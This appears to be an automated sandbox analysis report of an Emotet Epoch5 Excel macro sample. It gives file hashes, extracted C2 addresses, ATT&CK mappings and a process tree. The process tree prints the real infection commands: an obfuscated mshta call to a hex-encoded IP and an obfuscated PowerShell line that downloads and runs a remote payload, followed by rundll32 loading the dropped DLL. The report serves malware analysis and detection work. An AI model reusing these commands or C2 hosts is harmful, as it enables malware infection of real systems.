emotet | bedfbe47fbde08c3b2471c10061982611d471e5feae913cb7f91e63003a1a5cc

General

Target

bedfbe47fbde08c3b2471c10061982611d471e5feae913cb7f91e63003a1a5cc.xlsm
Size

114KB
MD5

254ffcdec7238f1444fe24932ce54457
SHA1

f279f9375c94edc055cb29d3d511c2b984eea05a
SHA256

bedfbe47fbde08c3b2471c10061982611d471e5feae913cb7f91e63003a1a5cc
SHA512

559fa4d2a1cb30817e0560c676f077884299dd3ec4a8d1955e7058a63c0e2d4e723c76f68b940353163f45d737d0023128c37cd4be26b2728fd71e0981af224a

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3148	1840	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

34 3796 mshta.exe
39 2952 powershell.exe
41 2952 powershell.exe
50 2816 rundll32.exe
51 2816 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1064 rundll32.exe
3912 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Imcotlrdri\kstoosptkgrbth.gng rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3904 3796 WerFault.exe mshta.exe

flow	pid	process
34	3796	mshta.exe
39	2952	powershell.exe
41	2952	powershell.exe
50	2816	rundll32.exe
51	2816	rundll32.exe

pid	process
1064	rundll32.exe
3912	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Imcotlrdri\kstoosptkgrbth.gng	rundll32.exe

pid	pid_target	process	target process
3904	3796	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1840 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
2952	powershell.exe
2952	powershell.exe
3904	WerFault.exe
3904	WerFault.exe
3904	WerFault.exe
3904	WerFault.exe
3904	WerFault.exe
3904	WerFault.exe
3904	WerFault.exe
3904	WerFault.exe
3904	WerFault.exe
3904	WerFault.exe
3904	WerFault.exe
3904	WerFault.exe
3904	WerFault.exe
3904	WerFault.exe
2952	powershell.exe
2816	rundll32.exe
2816	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 2952 powershell.exe
Token: SeDebugPrivilege 3904 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	3904	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1840 wrote to memory of 3148	1840	EXCEL.EXE	cmd.exe
PID 1840 wrote to memory of 3148	1840	EXCEL.EXE	cmd.exe
PID 3148 wrote to memory of 3796	3148	cmd.exe	mshta.exe
PID 3148 wrote to memory of 3796	3148	cmd.exe	mshta.exe
PID 3796 wrote to memory of 2952	3796	mshta.exe	powershell.exe
PID 3796 wrote to memory of 2952	3796	mshta.exe	powershell.exe
PID 2952 wrote to memory of 1332	2952	powershell.exe	cmd.exe
PID 2952 wrote to memory of 1332	2952	powershell.exe	cmd.exe
PID 1332 wrote to memory of 1064	1332	cmd.exe	rundll32.exe
PID 1332 wrote to memory of 1064	1332	cmd.exe	rundll32.exe
PID 1332 wrote to memory of 1064	1332	cmd.exe	rundll32.exe
PID 1064 wrote to memory of 3912	1064	rundll32.exe	rundll32.exe
PID 1064 wrote to memory of 3912	1064	rundll32.exe	rundll32.exe
PID 1064 wrote to memory of 3912	1064	rundll32.exe	rundll32.exe
PID 3912 wrote to memory of 3416	3912	rundll32.exe	rundll32.exe
PID 3912 wrote to memory of 3416	3912	rundll32.exe	rundll32.exe
PID 3912 wrote to memory of 3416	3912	rundll32.exe	rundll32.exe
PID 3416 wrote to memory of 2816	3416	rundll32.exe	rundll32.exe
PID 3416 wrote to memory of 2816	3416	rundll32.exe	rundll32.exe
PID 3416 wrote to memory of 2816	3416	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bedfbe47fbde08c3b2471c10061982611d471e5feae913cb7f91e63003a1a5cc.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1840

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3148

C:\Windows\system32\mshta.exe
mshta http://0x5cff39c3/sec/sec.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2952

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:1332

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1064

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3912

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Imcotlrdri\kstoosptkgrbth.gng",lDNf
8⤵
- Suspicious use of WriteProcessMemory
PID:3416

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Imcotlrdri\kstoosptkgrbth.gng",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2816

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3796 -s 1648
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3904

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
2f1fa5f5f4a972dc1e0c25dd0b28216d

SHA1
72b1c112a5a05d828f33c44f18967cf0cd6a0cfa

SHA256
abb27bb9217b423d8e84ebf75e814a2795128424010e1a018de59aaa32aade02

SHA512
ff50efe4f729b6fb24ac9f5ffb3f2a8fc2a48f7b0a69ea4a6f6e3127beb8dd6fbfe5a70675574d22f6e840e7a067b43752a6311941971cdfee3085194c0bf8c8

Download Submit
\Users\Public\Documents\ssd.dll
MD5
2f1fa5f5f4a972dc1e0c25dd0b28216d

SHA1
72b1c112a5a05d828f33c44f18967cf0cd6a0cfa

SHA256
abb27bb9217b423d8e84ebf75e814a2795128424010e1a018de59aaa32aade02

SHA512
ff50efe4f729b6fb24ac9f5ffb3f2a8fc2a48f7b0a69ea4a6f6e3127beb8dd6fbfe5a70675574d22f6e840e7a067b43752a6311941971cdfee3085194c0bf8c8

Download Submit
\Users\Public\Documents\ssd.dll
MD5
2f1fa5f5f4a972dc1e0c25dd0b28216d

SHA1
72b1c112a5a05d828f33c44f18967cf0cd6a0cfa

SHA256
abb27bb9217b423d8e84ebf75e814a2795128424010e1a018de59aaa32aade02

SHA512
ff50efe4f729b6fb24ac9f5ffb3f2a8fc2a48f7b0a69ea4a6f6e3127beb8dd6fbfe5a70675574d22f6e840e7a067b43752a6311941971cdfee3085194c0bf8c8

Download Submit
memory/1064-599-0x0000000003470000-0x0000000003498000-memory.dmp

Filesize
160KB

Download
memory/1840-118-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Filesize
64KB

Download
memory/1840-128-0x00007FFDEBBB0000-0x00007FFDEBBC0000-memory.dmp

Filesize
64KB

Download
memory/1840-129-0x00007FFDEBBB0000-0x00007FFDEBBC0000-memory.dmp

Filesize
64KB

Download
memory/1840-119-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Filesize
64KB

Download
memory/1840-117-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Filesize
64KB

Download
memory/1840-116-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Filesize
64KB

Download
memory/1840-115-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Filesize
64KB

Download
memory/2816-619-0x00000000045D0000-0x00000000045F8000-memory.dmp

Filesize
160KB

Download
memory/2816-617-0x00000000040F0000-0x0000000004118000-memory.dmp

Filesize
160KB

Download
memory/2952-422-0x000001B5FFF56000-0x000001B5FFF58000-memory.dmp

Filesize
8KB

Download
memory/2952-308-0x000001B5FFF50000-0x000001B5FFF52000-memory.dmp

Filesize
8KB

Download
memory/2952-309-0x000001B5FFF53000-0x000001B5FFF55000-memory.dmp

Filesize
8KB

Download
memory/2952-307-0x000001B580900000-0x000001B580976000-memory.dmp

Filesize
472KB

Download
memory/2952-296-0x000001B5803B0000-0x000001B5803EC000-memory.dmp

Filesize
240KB

Download
memory/2952-275-0x000001B5801F0000-0x000001B580212000-memory.dmp

Filesize
136KB

Download
memory/3416-612-0x00000000033E0000-0x0000000003408000-memory.dmp

Filesize
160KB

Download
memory/3912-602-0x0000000004DF0000-0x0000000004E18000-memory.dmp

Filesize
160KB

Download
memory/3912-607-0x0000000005570000-0x0000000005598000-memory.dmp

Filesize
160KB

Download
memory/3912-609-0x0000000005710000-0x0000000005738000-memory.dmp

Filesize
160KB

Download
memory/3912-611-0x0000000005770000-0x0000000005798000-memory.dmp

Filesize
160KB

Download
memory/3912-615-0x00000000058D0000-0x00000000058F8000-memory.dmp

Filesize
160KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads